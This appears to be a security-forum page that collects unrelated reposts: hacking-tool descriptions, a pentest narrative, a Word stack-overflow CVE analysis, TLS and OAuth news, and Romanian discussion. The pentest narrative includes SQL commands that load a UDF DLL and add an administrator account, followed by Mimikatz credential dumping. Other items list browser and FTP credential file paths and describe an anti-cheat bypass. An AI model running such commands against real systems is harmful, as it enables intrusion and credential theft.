Nytro

The main purpose of this section is to provide programs skeletons for research and beta or partial toolz. Rarely updated and not intended for real usage or for the common users... aluigifuzz 0.3 (aluigifuzz) this is the dumb file mutation fuzzer I wrote in 2011 for my personal usage and was incredibly useful at that time. I have decided to release it because I no longer use it, read aluigifuzz.txt for additional information and examples. Offbreak (offbreak) useful tool to track the operations performed by a program on a file at a given offset (hosted on ReVuln). UDPSZ 0.3.4 (udpsz) tool for sending UDP, TCP or any other type of packet with custom size, content, source port and IP address (spoofing, where possible). its options are very useful for more specific tests but not much easy to use (chaotics), that's why the -d option is suggested to check if the output packets have really the desired format. note that this tool has been written for myself so it acts mainly as a generic proof-of-concept for everything I want to test and prove. One file only web/ftp server 0.6.1 (onlywebs) multi-thread web and FTP server written to provide ever the same file without writing/listing/indexing features of such protocols, but now it's able to do many interesting things useful for my tests. it has various crazy options for testing purposes, so do NOT use it except if I specify it in my advisories. partially compatible with the following protocols: HTTP, FTP, WebDav, RTSP. mygrep 0.1 (mygrep) useful tool for scanning files and folders searching strings (C syntax supported) as binary patterns, utf16 unicode, base64, hex and other methods. example: mygrep "\x08\x00\x00\x00mystring" file.txt folder\folder c:\path1 Generic FTP PASV ports consumption 0.1 (ftpports) simple tool for sending endless PASV commands to FTP servers, it has been created as PoC for a bug in Serv-U FTP 11.1.0.3. UDD files quick informations 0.1 (uddinfo) quick and basic tool which show some information contained in the UDD files used in Ollydbg like the various breakpoints and the comments. Webservers char tester 0.1.1 (webtestchr) a simple tool which has been very useful in all this time for the blind and quick testing of some vulnerabilities in software that uses the HTTP protocol. practically it scans all the 255 ascii chars and put them in some particular locations of the URI like before and after the slash or at the end of the URI and so on. usually the types of vulnerabilities which can be tested through this method are source disclosure (like for php and cgi files), security bypass (like folders or files which require specific rights or password), possible exceptions and others all dependent by the program to test. one of the recent advisories in which this tool was helpful was the source disclosure in Ruby WEBrick. FindBits 0.2.2a (findbits) simple and useful tool for analyzing a given file to search if exist text strings or bytes which are packed in bitstreams. the tool can be even used to read and visualize a custom amount of bits, for example using the option -s "1 4 32 1000" the tool will visualize the hexadecimal, string, decimal and binary values of the first 1, 4 and 32 bits of the file and the hex dump of the subsequent 1000 bits. some examples of game protocols which use the bitstreams are the Unreal engine and the Battlefield series. loDNS 0.1.1 (lodns) simple tool I wrote for my tests which emulates a basic DNS server and logs all the hostnames in the received requests and then replies with a fixed IP address (A type). it uses 127.0.0.1 as default IP address in which resolving the hostnames but it can be changed at command-line, if it's used the IP 0.0.0.0 the tool will not reply (monitoring only) while if you use 255.255.255.255 it will act like a proxy. it's a good way for resolving unknown hostnames locally while testing a program, it's only needed to set 127.0.0.1 as primary DNS and launching loDNS. TFTP server tester 0.2a (tftpx) nice tool that acts like TFTP client with some advanced feature. Generic custom HTTP file uploader 0.2a (myhttpup) simple tool for uploading files (POST + mime) choosing the name of the destination file, useful for testing directory traversal vulnerabilities in web servers and components which allow to upload files. Unreal engine test server 0.1 (unrealts) basic way for emulating an Unreal server and testing the sending of commands to a connected client Quake 3 engine "connect" modifier 0.2 (q3conmod_sudp) plugin for sudppipe which allows a simple customization of the "connect" packet for the games which use the Quake 3 engine: sudppipe -l q3conmod_sudp.dll -L "\parameter1\value1\parameter2\value2" IP PORT 1234 (use -L "" for the runtime help) then from the console of the game type: connect 127.0.0.1:1234 the following is an example for joining a server which uses PunkBuster with PB disabled (the client will be kicked after some seconds/minutes): sudppipe -l q3conmod_sudp.dll -L "\cl_punkbuster\1" SERVER PORT 1234 then from the client: pb_cl_disable connect 127.0.0.1:1234 Dumproc 0.1.1 (dumproc) simple process dumper for both Windows and Linux. Live for Speed demo/S1/S2 packets modifier example 0.1 (lfsanus) useless and basic proxy tool for modifying the packets of this game, old stuff written just for fun. Tcpdump format UDP 2 TCP converter 0.1.1 (pcapu2t) simple tool written for converting the UDP packets of a PCAP file in a TCP stream, useful for tracking the packets flow with Wireshark. no longer needed because Wireshark implemented the following of the UDP packets various versions ago. WAVEhead 0.1 (wavehead) experimental and useless tool for adding a wave header to raw files or for modifying existent wave headers (mainly for uncompressed files) or extracting the raw audio from wave files. JavaScript slide show skeleton 0.1 a simple JavaScript example for animating many sequential image files. Webpostmem 0.1 (webpostmem) This tool can be used to check the POST attacks on webservers as for example memory and sockets that are not freed if the client sends less data than how much specified in Content-Lenght. It is the same proof-of-concept I have used for the bugs in Goahead webserver, NULLhttpd and WWW Fileshare Pro. Q3huffdecenc 0.2 (q3huffdecenc) compress and uncompress the files containing the "connect" packets of the games that use the Quake 3 engine. Q3sendenc 0.2.1 (q3sendenc) this tool gets a custom file specified by the user, compress it using the Huffman compression, sends it to a server based on the Quake 3 engine and then waits for a reply. It also calculates the challenge, the protocol and the punkbuster parameters just to make a successful login with the server. it could be useful for who wants to test the Quake 3 engine and its possible flaws. Custom GIF creator 0.1 (gifbug) a very simple tool to create GIF files with customized headers. HLspfed 0.1.1a (hlspfed) Half-Life single-proxy forwarder with encoding/decoding functions. This tool is a packets forwarder (datapipe) for Half-Life that lets you to modify, manipulate and insert any type of data you want in the packets exchanged between the Half-Life server and the client. ut2003fits 0.1 (ut2003fits) UT2003 fake information test server: this tool can be used to send custom information to the clients that search for multiplayer games (very funny if used when the real UT2003 server is running). this simple tool can be used in a lot of modes. For example you can launch UT2003heartbeat and then launching UT2003fits you will see all the players that are online because every player that goes in the multiplayer section of UT2003 will automatically request information to all the servers available and you can log all these players (for example for statistical purposes). Half-Life testing server 0.1.2 (hlts) this server answers to the Half-Life queries. It supports: ping, infostring, details, getchallenge, players, rules, challenge rcon and connect. UT2003 heartbeat emulator 0.1 (ut2003heartbeat) heartbeat protocol emulator for UT2003. With this little code you can add your IP address to the official Epic UT2003 servers list (epicgames.com and demo-all.txt). HERE there is the explanation of the protocol. Quake 3 testing server 0.3 (q3ts) this server answers to the Quake 3 queries. It supports: getstatus, getinfo, getchallenge, connect (with real-time decompression), rcon and disconnect. It supports the infoResponse of Quake 3 arena 1.32, Soldier of Fortune 2 1.03 GOLD, Return to Castle Wolfenstein 1.41, Medal of Honor: Allied Assault 1.11. Browser's headers viewer simple unfiltered php script to see all the headers sent by your browser (useful to check the anonimity of a proxy for example) Sursa: Luigi Auriemma

blueflower blueflower is a simple tool that looks for secrets such as private keys or passwords in a file structure. Interesting files are detected using heuristics on their names and on their content. Unlike some forensics tools, blueflower does not search in RAM, and does not attempt to identify cryptographic keys or algorithms in binaries. DISCLAIMER: This program is under development. It may not work as expected and it may destroy your computer. Use at your own risk. Features multithreading detection of various key and password containers (SSH, Apple keychain, Java KeyStore, etc.) and other interesting files (Bitcoin wallets, PGP policies, etc.) detection of encrypted containers (Truecrypt, PGP Disks, GnuPG files, etc.) search in the content of the following types of files: text/* MIME-typed files archives RAR, tar, ZIP compressed files bzip2, gzip encrypted containers/archives: PGP/GPG, Truecrypt, RAR, ZIP PDF documents [*]support of nested archives and compressed files (except for nested RARs) [*]portable *nix/Windows [*]CSV output Sursa: https://github.com/veorq/blueflower

ICEcoder ICEcoder is an open-source code editor, which provides a modern approach to building websites. By allowing you to code directly within the web browser, online or offline, it means you only need one program (your browser) to develop sites, plus can test on actual web servers. After development, you can also maintain the website easily, all of which make for speedy and smart development. Because it can be web based you can use it from any internet enabled computer with a modern browser and because it's open-source, customise it to your liking, integrating with online services. If you'd like to use it as a desktop code editor, no problems, you only need PHP 5.0+ (though 5.3+ is recommeded), so you can use on Linux and on PC via MAMP or XAMPP and Mac via WAMP (or another PHP installation). ICEcoder was created because web devs (like myself) always complained their code editor didn't do exactly what they like. They're often bloated with features, slow and awkward. Conversely, ICEcoder is lightweight (zip is around 0.4mb) and boots in seconds (often 1-2s). Oh, and it's also free. Enjoy! Code editor features While it looks simplistic on the surface, ICEcoder packs a whole load of features and plugins to make coding slick & efficient. Some of the best include: use online or locally Use it online from wherever you are, but it also runs under localhost too as a desktop solution. broken tag indicators An indicator shows if you have a broken tag structures and highlights where errors occured. themes 16 highlighting themes come as standard but you can easily make your own with a CSS file. find & replace builder Find and replace can be applied to the current or all open documents, plus filenames & files. secure login ICEcoder can be setup wherever you wish and is login secured to help keep your files safe. It's multi user too! type boosters Plenty of coding assist is available such as Emmet, close tag completion and tag wrappers. nest display & selection A nesting display shows your cursor position, hover over them to highlight, click to select. linting with JS Hint as you type Your JavaScript code is linted with JS Hint as you type to ensure good coding practises. manage your MySQL databases MySQL database management is easy with the Adminer plugin. It's like phpMyAdmin, but better. Sursa: https://icecoder.net/

Owning The Enterprise With HTTP PUT During a routine penetration testing engagement, we found an IIS webserver with HTTP methods (verbs) like PUT and DELETE enabled on it. During enumeration of the web server we figured it was configured to run PHP as well. The PUT method allows an attacker to place a file on the server. Uploading a web shell was our obvious choice. However due to some security settings enabled on the server we were unable to upload any php/aspx/jsp etc. files. Had we been able to upload a shell, we would’ve gotten code execution on the server. But it was not as simple as we thought it to be. After trying some variation of the file types, we figured out we could upload .txt files on the server. We could access these files by opening them through the browser. After multiple attempts we decided to use something very simple: “MOVE”method to rename the files once they were uploaded on the server. So we uploaded a .php file as .txt and renamed that to .php The screenshot for these two steps is shown below: Here is the output when visiting our test123.php file, Safemode was enabled on the server and we didn’t really try to bypass that. But we uploaded an ASPX Shell on the server (rename the .txt file to .aspx as mentioned earlier). At this point our service was running with “Network Service”Privileges and we were limited in terms of our control on the Server. Using our ASPX webshell we were at least able to traverse the content on the server. We were able to read the MySQL configuration details for one of the applications configured on the server and noted that the database is configured using root. Armed with the credentials of the MySQL root user, we could login to the server remotely. Unlike Microsoft SQL Server there is no built-in stored procedure like xp_cmdshell that allows us to execute OS commands. However, MySQL has User Defined Functions (UDF) that can be used to execute OS level commands but they are not available by default. At this point “lib_mysqludf_sys”available on https://github.com/mysqludf comes in handy. The “lib_mysqludf_sys”library has functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs. This library is available with SQLMAP (udf/mysql) Firstly, we copied the library on to the target machine in a known location using the PUT method. We had to write this file to “c:\windows\system32”directory. But our web server was running with limited privileges. While logging in we face another issue, the root user is not allowed to login remotely on the MySQL database. This was easy to overcome!We wrote a php file which allowed our IP address to login remotely on the MySQL server and executed it using the same steps that we have been doing so far. Next, we logged in and triggered a SQL query to load this file in to a newly created table row. Here, we are instructing MySQL to create a new function to point to the code in our malicious library. Finally, we executed this new function with arbitrary system commands that we wish to run. The commands used are shown below: USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_files('C://root//lib_mysqludf_sys.dll')); SELECT * FROM mysql.npn INTODUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNSintegerSONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user omair NIIConsult!n4 /add"); SELECT sys_exec("net localgroup Administrators omair /add"); As seen a user omair with administrative privileges was added to the server. Further, we logged in to the server through remote desktop. Time to escalate our privileges even further!At this stage, we were local administrator and did not have a domain account. We found multiple users logged in to the system. At this point we want to dump the passwords from the memory of that system. Mimikatz helps you do that. What is Mimikatz? Mimikatz is a slick tool that pulls plain-text passwords out of WDigest interfaced through LSASS. Read here to know more about how to use different features in Mimikatz We then uploaded “mimikatz.exe”on the server using our account omair. It was likely that the antivirus on the server would flag it. In our case it did not. Even if it did we could use various evasion techniques to upload and execute the file. We then used our favourite widgest method to retrieve passwords in clear text and get credentials for a user “taufiq” who was an ordinary Domain User but also had Admin privileges on some product related servers. Now we logged into all these product related servers with the account we had to search for more interesting accounts which we could escalate our privileges to. We were able to find several accounts but the most authoritative account was of course the Domain Admin. That’s it, we again uploaded mimiktaz on this system and obtained password for the Domain Admin account. Net result was that the Domain was 0wned! From here on we could use smbexec utility to extract domain hashes from the domain controller. Conclusion: This article shows how a simple vulnerability like enabling HTTP verbs such as PUT and MOVE can serve as the doorway to a far more insidious attack and allow the attacker to take complete ownership of the network. Of course, there were a large number of other vulnerabilities that allowed us to do this – but the entry point was simply one mis-configured HTTP server! Author: Omair Sursa: Owning The Enterprise With HTTP PUT - Checkmate

CVE-2013-1324 Microsoft Office WPD File Remote Memory Corruption Vulnerability Author: Ling Chuan Lee Vulnerable: Microsoft Office Word 2007 (12.0.4518.1014) MSO (12.0.4518.1014) Tested Platform: Windows 7 Professional WordPerfect 5 converter module used by Microsoft Office Word was vulnerable to stack buffer overflow when process a special crafted WordPerfect document with an invalid number of CSTYL border elements. In order to understand what is going on, we need to understand the file format has been used by Word Perfect. You could get a copy of Word Perfect file format from here WP6 File Format SDK In WP5.x documents, the file header is 16 bytes long. Next is the file prefix in blocks of five indexes with their relative data following each index block. F13 Research Labs identified the vulnerable WP records in variable-length multi-byte function 0xDC. The codes for variable length multi byte functions [208 (0xD0) through 239 (0xEF)] appear twice each time the function is invoked. The first occurence is the 'open gate' and the second is the 'closing gate'. Each 'open gate' is followed by a subgroup byte, a value of size short (16 bits) and a function flags byte. If the flags indicates there is prefix data associated with the function, a number of prefix ID bytes come next, followed by the prefix index-ID words. Next is a word (16 bits) showing the size of the non-deleteable information. Following the deletable data are a size word and the 'closing gate' [1]. Here is a picture representation of the generic WordPerfect 5.x File Structure: Figure 1: WordPerfect 5.x File Structure CVE-2013-1324 vulnerability is a classic stack buffer overflow that occurs when WordPerfect 5 converter module 'WPFT532.CNV' processing crafted WordPerfect file with the unusual value '0x00' and '0xAC'. Figure 2: Malformed Multi-byte Function 0xDC Figure 3: Malformed Multi-byte Function 0xDC When we looked into the execution flow, we noticed that the code at address '0x014D9315' (and eax, 7FFFh) is the instruction caused the value of total number of the loop (eax) which is writing bytes into a stack become '0x2C00'. Figure 4: The Invalid Value 0x2C00 .text:014D931A mov [ebp+var_4], eax ;[ebp-4]=0000 2c00 .text:014D931D xor eax, eax ;eax=0 .text:014D931F mov ah, [esi+1] ;ah=00 .text:014D9322 mov al, [esi] ;al=00 ...... ...... .text:014D9315 and eax, 7FFFh ;eax=0000 ac00&7FFFh=0000 2c00 As you can see from the figure below, the 'loc_14D9336' is a loop calling the function 'sub_14D89A4' which is writing bytes into a stack-defined variable with a fixed size. For each loop, the total number of the loop ([ebp+var_4]) will increase '0xFFFF' until it is equal to zero and edi represents current index from the process. This code is inside a loop and as the loop goes on, the index value will increase. The result of bounds check doesn't happen, Stack Base Pointer Register (EBP) will be overwritted in function 'sub_14D89A4' after the index of the loop (edi) hit 0x20, which leads to stack buffer overflow. Figure 4: Writing Bytes into a Stack-defined Variable with a Fixed Size Figure 5 shows the code where the overwrite of Stack Base Pointer Register (EBP) happens. As shown below, the value of '0x6a0' is the total size to write. If the user have a larger value, this WordPerfect document file may trigger the stack buffer overflow by overwriting the buffer with a bigger number. .text:014D89A4 push ebp .text:014D89A5 mov ebp, esp .text:014D89A7 push ebx .text:014D89A8 push esi .text:014D89A9 mov esi, eax ;esi=eax=0x20 counter 0x20 .text:014D89AB imul eax, 14h ;eax=20h*14h=280 .text:014D89AE imul esi, 35h ;esi=0x20*0x35=0x6a0 maximum sizeof(CSTYL)*32 .text:014D89B1 add esi, [ebp+arg_0] ;esi=6a0+0018 f200=0018 f8a0 .text:014D89B4 add eax, offset word_14E4567 ;eax=280+offset WPFT532!AbortRtfToForeign+0x12684=6a52 47e7 .text:014D89B9 push edi ;edi=20 .text:014D89BA mov [ebp+arg_0], eax ;[ebp+8]=[0018 f1e8]=6a52 47e7 .text:014D89BD mov eax, [ebp+arg_4] ;eax=[ebp+0ch]= [0018 f1ec]=00 .text:014D89C0 xor ebx, ebx ;ebx=0 .text:014D89C2 push ebx .text:014D89C3 and eax, 7 ;eax=0 .text:014D89C6 push ebx ;ebx=0 .text:014D89C7 push eax ;eax=0 .text:014D89C8 lea eax, [esi+0Ch] ;eax=0018 f8ac, [esi+0ch]=[0018 f8ac]=0000 0000 .text:014D89CB push eax ;eax=0018 f8ac .text:014D89CC call sub_14D19F6 ;ebp no overwrite .text:014D89D1 mov eax, [ebp+arg_4] ;eax=[ebp+0ch]=[0018 f1ec]=0 .text:014D89D4 push ebx ;ebx=0 .text:014D89D5 shr eax, 3 ;eax=0 .text:014D89D8 push ebx ;ebx=0 .text:014D89D9 and eax, 7 ;eax=0 .text:014D89DC push eax .text:014D89DD push esi ;esi=0018 f8a0 .text:014D89DE call sub_14D19F6 ;ebp no overwrite .text:014D89E3 mov eax, [ebp+arg_4] ;eax=[ebp+0ch]=[0018 f1ec]=0 .text:014D89E6 push ebx ;ebx=0 .text:014D89E7 shr eax, 8 ;eax=0 .text:014D89EA push ebx ;ebx=0 .text:014D89EB and eax, 7 ;eax=0 .text:014D89EE push eax .text:014D89EF lea edi, [esi+24h] ;edi=0018 f8a0+24h=0018 f8c4, [esi+24h]=[0018f8a0+24h]=6a5082a7 .text:014D89F2 push edi ;edi=20 .text:014D89F3 call sub_14D19F6 ;overwrite ebp in this routine Figure below shown the overwrite of Stack Base Pointer Register (EBP 0x0018f8b8) in function 'sub_14D19F6' and caused the memory corruption Figure 6: EBP Before Overwrite Figure 7: EBP After Overwrite The result of the EBP overwrite will caused the Microsoft Office crash when return to the previous block code. Figure 8: Microsoft Office Crash Reference: 1. WP6 File Format SDK [Download] Sursa: F13 Laboratory

[h=1][TLS] Confirming Consensus on removing RSA key Transport from TLS 1.3[/h] The discussion on this list and others supports the consensus in IETF 89 to remove RSA key transport cipher suites from TLS 1.3. The Editor is requested to make the appropriate changes to the draft on github. More discussion is needed on both DH and ECDH are used going forward and on if standard DHE parameters will be specified. Joe [For the chairs] On Mar 26, 2014, at 11:43 AM, Joseph Salowey (jsalowey) <jsalowey at cisco.com> wrote: > TLS has had cipher suites based on RSA key transport (aka "static RSA", TLS_RSA_WITH_*) since the days of SSL 2.0. These cipher suites have several drawbacks including lack of PFS, pre-master secret contributed only by the client, and the general weakening of RSA over time. It would make the security analysis simpler to remove this option from TLS 1.3. RSA certificates would still be allowed, but the key establishment would be via DHE or ECDHE. The consensus in the room at IETF-89 was to remove RSA key transport from TLS 1.3. If you have concerns about this decision please respond on the TLS list by April 11, 2014. > > Thanks, > > Joe > [Speaking for the TLS chairs] > _______________________________________________ > TLS mailing list > TLS at ietf.org > https://www.ietf.org/mailman/listinfo/tls Sursa: Re: [TLS] Confirming Consensus on removing RSA key Transport from TLS 1.3

The Censorship Effect Posted 25 minutes ago by Lydia Laurenson (@lydialaurenson) Editor’s note: Lydia Laurenson is a writer, researcher, and communications professional fascinated by social media and community dynamics. Lydia also served in the U.S. Peace Corps, working with the HIV program in Swaziland, Africa. The 29-year-old founder of VKontakte, Russia’s largest social network, just got “fired” and left the country. That is, Pavel Durov described himself as fired, although there were previous rustlings of resignation. Durov’s departure was accompanied by much commentary about the censorship climate in Russia. He himself announced that he plans to create a new social network, and that he moved because “the country is incompatible with Internet business at the moment.” This comes right on the heels of the U.S. IPO for Sina Weibo, a social platform that’s sometimes called “China’s Twitter.” Mashable recently reported that when Sina Weibo filed its IPO, it described Chinese censorship specifically as a risk factor. How much does censorship affect digital media from a business perspective? I’ve recently been researching cross-cultural social media while working on some articles for O’Reilly Media. Unsurprisingly, it’s clear that censorship has a huge impact on how social platforms develop and on how individuals use them. Some of the specific effects of censorship can be surprising, though. Ethan Zuckerman, the director of the Center for Civic Media at MIT, and other experienced commentators have argued that censorship can actually strengthen dissent when very popular sites get taken down. For example, a person who only visits YouTube for cat videos will be alerted that something big has gone wrong if YouTube is blocked, even if that person wouldn’t normally pay attention to the news. I’ve also heard tales of how censorship and its pal, propaganda, strengthen social media ties. “In China, the Internet plays a much deeper role in society because all the normal media is propaganda. You know that what’s appearing in state-run media is not objective, but something on the Internet might be,” says Thomas Crampton, the global managing director for international marketing agency Ogilvy & Mather. This is supported by other marketing reports like this one from management consulting firm McKinsey, which notes that Chinese consumers value the brand recommendations of friends, family, and social media influencers far more than American consumers do. … But Censorship Weakens Social Ties, Too However, there are plenty of situations where social media platforms are decimated by censorship. Some data crunching by the Telegraph in the U.K. showed clearly that last year’s Chinese “war on rumors” — and more importantly, the war’s associated arrests — caused Sina Weibo usage to drop off a cliff. No wonder Weibo called censorship a “risk factor” in its IPO. The writer and anthropologist Sarah Kendzior, who researches authoritarian states in Eastern Europe, has written that “In authoritarian states, the circulation of state crimes often serves to confirm tacit suspicions, and in some cases, to reaffirm the futility of the fight. Fear, apathy, cynicism and distrust are as common reactions to these quasi-revelations as are outrage and a desire for change.” “What I think is interesting is how much of the authoritarian state mentality people take when they leave the country,” Kendzior tells me. “I see the same fear and wariness about social media from people who have fled Uzbekistan, as people who are still there. It’s very hard to shake off self-censorship.” Kendzior also mentions a case from 2011 where someone, probably the Uzbekistan government, created a fake activist who only existed on social media. Then they spread the news that the activist committed suicide. This was an effective strategy to weaken ties by spreading fear, anxiety and distrust. “It means everyone’s suspicious of everyone else,” explains Kendzior. “It makes everyone wonder: Am I talking to a real person?” Protectionist and Popularization Side Effects China’s blockade on Facebook, Twitter, Google and other high-profile American platforms has arguably had some protectionist side effects for local industry. I’ve often heard China’s social media landscape compared to the Galápagos Islands — Darwin’s closed-off archipelago, which famously evolved many unique animal species due to its isolation. In other words, when China blocked most major U.S. social platforms, its government created an ecosystem where local platforms that came later to market could flourish. Censorship can carry other unexpected popularization effects, too. “Google Reader was really popular in Iran,” Jillian C. York, the director for International Freedom of Expression at the Electronic Frontier Foundation, tells me. “The reason for that was that it enabled people to read blocked websites. You can’t easily block one Google service without blocking all of them, so people in Iran could use Google Reader to read blogs that they couldn’t normally get because of censorship.” On the other hand, China’s fencing-off of American digital services has also fenced off sites that use them for account authentication. For instance, a given site may not actually be blocked in China, but it will be effectively blocked if its users have to log in via Facebook. What Do Censors Want? It’s rarely easy to figure out censors’ goals and methods, but in 2013, three Harvard researchers published some work on the problem (here’s the full PDF of the study by King, et al.). They managed to gather millions of posts on Chinese social media before the government reached them, and then they analyzed which ones were censored. Their primary finding was that the Chinese government doesn’t appear to censor criticism on social media, but it does censor social media posts encouraging collective action. In fact, the government even censored stuff that could encourage collective action around figures who the government supported! This analysis implies that the Chinese government will happily track open criticism, and that it will closely observe dissidents’ connections to each other but crack down on anyone who tries to build a power base that it can’t control. That makes some sense — although it’s worth noting that the study was published in May 2013, which was before the June “war on rumors” smack down and the subsequent arrests that eviscerated Sina Weibo’s user base. A lot of people, especially Americans like me, have strong emotional reactions to censorship. But whatever our feelings, we need to put them aside long enough to understand how and why censorship happens, especially those of us who work in the global media. We’ll see how the situation continues to develop — and how journalists, brands, and platforms adjust to it. Sursa: The Censorship Effect | TechCrunch

Major flaw found in Oauth and OpenID affects Google, Microsoft and Facebook If you login with it at your social networks, you're at risk By Chris Merriman Fri May 02 2014, 14:45 A MAJOR VULNERABILITY has been discovered in the Oauth and OpenID services designed to protect user credentials. The login tools create tokens allowing users to login to websites including Facebook, Google, and Linkedin and those owned by Microsoft, using centralised credentials, without the websites having direct access to user names or passwords. Wang Jing, a PhD student at Nanyang Technical University, Singapore discovered that by using the known "Covert Redirect" exploit, when the pop-up appears from the credential website, even though the credential website is genuine, when the victim hits "enter" the information is sent to the attacker instead of the credential website. According to Wang's blog, Tetraph, fixing the problem is going to be very difficult. He says, "The patch of this vulnerability is easier said than done. If all the third-party applications strictly adhere to using a whitelist. Then there would be no room for attacks. However, in the real world, a large number of third-party applications do not do this due to various reasons. "This makes the systems based on OAuth 2.0 or OpenID highly vulnerable." So many of the worlds biggest websites either use Oauth or provide Oauth credentials that the potential for this problem to spiral out of control is substantial. Is it another Heartbleed? Probably not, but with websites so far showing very little interest in plugging the leak, now that it is public knowledge it has the potential to become a big problem. This story is still developing. We've requested comment and will update this story as we receive more information. Sursa: Major flaw found in Oauth and OpenID affects Google, Microsoft and Facebook- The Inquirer

In afara de BitDefender unde e postat "automat", mai e TheHackerNews postat de un indian travestit. Nu vad pe cineva serios sa ia in considerare aceasta problema non-existenta. Daca cumva se puteau citi REMOTE datele respective era "leak". Asa, nici cuvantul "leak" nu e folosit adecvat. Filezilla: C:\Users\<username>\AppData\Roaming\FileZilla (*.xml) Firefox: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default (key3.db si signons.sqlite) Chrome: C:\Documents and Settings\<username>\Local Settings\Application Data\Google\Chrome\User Data\Default (Exposing the Password Secrets of Google Chrome - www.SecurityXploded.com) BRB, trimit catre site-urile de stiri descoperirile facute.

Mozilla Firefox, Google Chrome, Internet Explorer, Pidgin, FileZilla si in principal orice program care salveaza date locale are aceasta "problema de securitate". Si la OpenVPN gasesti cheile local. Si la Apache pe server ai cheia privata. Etc. Mica diferenta e ca la unele programe procesul e putin mai complicat, datele sunt cryptate cu o cheie salvata local, in timp ce la altele sunt in plaintext. Dar tot local sunt salvate si tot pot fi "leaked" cum ziceti voi de catre acele magice programe care se cheama "STEALERE". Da, cred ca ati auzit de ele. Singurele programe care nu au aceasta "problema" sunt cele care au setata o "master password".

Avem CVE: - CVE-2014-3135 : Multiple cross-site scripting (XSS) vulnerabilities in vBulletin 5.1.1 Alpha 9 allow remote attackers to inject arbitrar - https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3135

Ministerul Aprrii Nacionale - Comunicat de pres

Ministerul Ap?r?rii infirm? categoric existen?a unui proces de mobilizare a rezervi?tilor | adevarul.ro

Luptele nu se mai dau cu sabia sau cu pusca. Nu ar avea nicio logica sa fie obligatorie pentru toti barbatii. Dar sa recunoastem, nu avem tehnologia militara pentru a rezista unui razboi. „Vocea Rusiei“ love?te din nou: România nu rezist? mai mult de 30 de minute în fa?a unui r?zboi | adevarul.ro

Ar cam trebui sa ne gandim la un posibil conflict. Crimeea, Ucraina, urmeaza Republica Moldova, apoi noi.

Î?i merit? oare pre?ul un smartphone High-End? Radu Neagu 30-04-2014 Ce aduce în plus un smartphone high-end? De ce am pl?ti 3000 de lei pentru un smartphone recent ap?rut? Cu ce ne ajut? faptul c? are un ecran de 5 inci ?i nu de 3,5? ?ine bateria mai mult la un smarpthone mai scump? Cu ce m? ajut? pe mine ca utilizator un smartphone mai scump? Acestea sunt doar o parte din întreb?rile pentru care ne-am gândit s? realiz?m un astfel de material. O mic? parte, ce e drept. Mul?i dintre apropia?i ?i mul?i al?i cititori ne întreab? dac? merit? s? pl?teasc? mai mult pentru a î?i achizi?iona un smartphone mai bun, iar r?spunsul nu este niciodat? simplu. Poate fi destul de simplu s? întrebi un posibil client sau chiar ?i un prieten ”Chiar ai nevoie de el?”, îns? aceast? întrebare îi poate nedumeri ?i mai mult. De cele mai multe ori, nu avem nevoie de el, îns? îl vrem! ?i ?tim bine c?, atunci când ne dorim ceva, vom g?si cele mai bune motive s? ?i cump?r?m. Sunt multe situa?ii ?i nu exist? niciodat? un r?spuns clar pentru nici una din ele. Vom vorbi, a?adar, de clasificarea smartphone-urilor, de tehnologia care se ascunde în spatele acestora ?i despre procesul de produc?ie. Sper?m s? în?elege?i cel mai bine de ce este sau nu este un smartphone scump alegerea ideal?. Clasificare smartphone-uri Este bine s? ?tim c? smartphone-urile se clasific? în trei mari categorii: Low-End, Mainstream ?i High-End. Cele trei categorii se întrep?trund, desigur, ?i nu exist? o delimitare clar? între ele, ci mai mult una impus? de pre?ul pe care îl pl?te?te utilizatorul. La fel ca orice alt produs din industria de IT&C, smartphone-ul se caracterizeaz? prin performan?a pe care o ofer? ?i prin func?iile pe care le aduce în plus fa?? de alte modele. Segmentul Low-End este compus în primul rând din dispozitive ieftine, al c?ror pre? de retail, f?r? abonament, este pân? în jurul sumei de 600-700 lei. Aceast? limit? este impus? mai degrab? de operatorii GSM, cei care ofer? aceste dispozitive gratuit pentru abonamentele de valoare mic?. Cele mai multe au un procesor single-core sau chiar dual-core la 1-1.2 GHz, 512-768-1GB de memorie RAM ?i un display de maxim 4 inci. Aici putem discuta de rezolu?ie, pu?ine dintre aceste dispozitive ajungând la 1280×720 pixeli. Conectivitatea este desigur limitat?, nu exist? un modul NFC, nu exist? WiFi 802.11n ?i foarte pu?ine modele sunt compatibile 4G. Chiar ?i acelea sunt limitate hardware la viteze de maxim 50 Mbps. Aici b?t?lia este destul de strâns? ?i chiar ?i decizia de cump?rare este f?cut? la fa?a locului, în func?ie de oferta operatorului de telefonie. Companiile produc?toare de dispozitive au foarte multe modele în aceast? gam?. Practic, cu un astfel de dispozitiv po?i face cam orice. Po?i naviga pe internet, po?i efectua desigur apeluri, po?i juca o mul?ime de jocuri, îns? totul cu o limit?. Înc?rcarea unei pagini se face mai greu, jocurile nu func?ioneaz? toate, exist? probleme de incompatibilitate sau de rulare a acestora. Software-ul, de obicei, las? de dorit. Nokia, de exemplu, a lansat o serie de modele cu Android care nu au aproape nici o leg?tur? cu Google Android. Chiar ?i magazinul de aplica?ii este unul proprietar ?i restrictiv. Segmentul Mainstream este compus din dispozitivele al c?ror pre? este în jurul sumei maxime de 1400-1500 lei. Aici întâlnim deja ecrane mai mari, de 5 inci, chiar ?i de 5,5 sau 6 inci, procesoare Quad-Core cu frecven?e de 1.2-1.7 GHz ?i rezolu?ii chiar FullHD. Memoria RAM este tot în jurul valorii de 1 GB, pu?ine modele vin cu o cantitate de memorie de 2 GB, iar acelea sunt probabil destul de greu de g?sit. Acestea sunt dispozitivele care se reg?sesc gratuit la abonamente mai mari, iar num?rul lor este de asemenea foarte mare. Jocurile au mai pu?ine limit?ri, conectivitatea este mai bun?, întâlnim viteze 4G pân? la 100 Mbps ?i chiar ?i conectivitate WiFi 802.11ac. În acest segment intr? foarte multe modele coreene precum Huawei, ZTE, Lenovo, îns? ?i alternative de la Samsung sau LG. Desigur, aici este un segment pentru care se agit? ?i companiile române?ti precum Allview, Evolio, dar ?i al?turi de segmentul low-end. Nu pot s? spun c? sunt slabe, sunt chiar performante, îns? au o serie de minusuri. Mai exact, touchscreen-ul nu este protejat de Gorilla Glass, construc?ia lor uneori parc? nu e finisat? ?i nu sunt optimizate software atât cât 